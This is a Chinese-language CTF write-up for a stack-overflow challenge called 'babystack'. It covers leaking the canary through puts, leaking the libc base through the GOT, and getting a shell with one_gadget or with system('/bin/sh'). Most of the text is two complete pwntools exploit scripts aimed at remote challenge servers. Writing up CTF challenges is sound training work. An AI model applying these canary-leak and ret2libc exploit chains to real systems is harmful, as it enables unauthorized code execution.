[攻防世界]pwn1
给出了libc.so 应该是计算偏移
图上说明的很清楚了
通过case1,覆盖到标志位,就可以通过case2 把表示位puts出来
puts遇到\x00停止
标志位最后两位一定是\x00 sendline末尾自动加上\n 覆盖掉\x00
所以puts就不会停止 这也方便我们recv的定位
泄露出标志位,通过case3 就可以常规溢出了
这里用到一个很方便的新东西 one_gadget
这玩意可以直接给你把运行shell的代码地址找出来
比如这样
这也是libc里面的地址 仍然需要base地址计算真实地址
每次遇到要recv需要的东西的时候一定要确保接下来输出就是自己需要recv的东西
from pwn import * # io=process('./babystack') io=remote('111.198.29.45',54771) elf=ELF('./babystack') libc=ELF('./libc-2.23.so') io.sendlineafter('>> ','1') payload='A'*0x88 io.sendline(payload) io.sendlineafter('>> ','2') io.recvuntil('A'*0x88+'\n') canary=u64(io.recv(7).rjust(8,'\x00')) print 'canary:'+hex(canary) rdi_pop=0x400a93 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main_addr=0x400908 payload='a'*(0x88)+p64(canary)+'a'*8 payload+=p64(rdi_pop)+p64(puts_got) payload+=p64(puts_plt)+p64(main_addr) io.sendlineafter('>> ','1') io.sendline(payload) io.recv() io.sendlineafter('>> ','3') puts_addr=u64(io.recv(8).ljust(8,'\x00')) print 'puts_addr:'+hex(puts_addr) base=puts_addr-libc.symbols['puts'] one_gadget_addr=base+0x45216 io.sendlineafter('>> ','1') payload='a'*(0x88)+p64(canary)+'a'*8+p64(one_gadget_addr) io.sendline(payload) io.sendlineafter('>> ','3') print "end" io.interactive() #rdi, rsi, rdx, rcx, r8, r9
当然自己泄露libc也行
from pwn import * from LibcSearcher import * # io = process('./stack') io = remote('node3.buuoj.cn',29860) elf=ELF('./stack') # context(arch='amd64',os='linux',log_level='debug') payload='A'*0x89 io.sendlineafter('>> ','1') io.send(payload) io.sendlineafter('>> ','2') io.recvuntil('A'*0x89) canary=u64(io.recv(7).rjust(8,'\x00')) success('canary:'+hex(canary)) start=0x400720 rdi_pop=0x400a93 payload='A'*0x88+p64(canary)+p64(0) payload+=p64(rdi_pop)+p64(elf.got['puts']) payload+=p64(elf.plt['puts'])+p64(start) io.sendlineafter('>> ','1') sleep(0.5) io.sendline(payload) io.sendlineafter('>> ','3') puts=u64(io.recv(6).ljust(8,'\x00')) libc=LibcSearcher('puts',puts) # 4 base=puts-libc.dump('puts') success('base:'+hex(base)) system=base+libc.dump('system') binsh=base+libc.dump('str_bin_sh') payload='A'*0x88+p64(canary)+p64(0) payload+=p64(rdi_pop)+p64(binsh) payload+=p64(system)+p64(start) io.sendlineafter('>> ','1') sleep(0.5) io.sendline(payload) io.sendlineafter('>> ','3') io.interactive() # choice :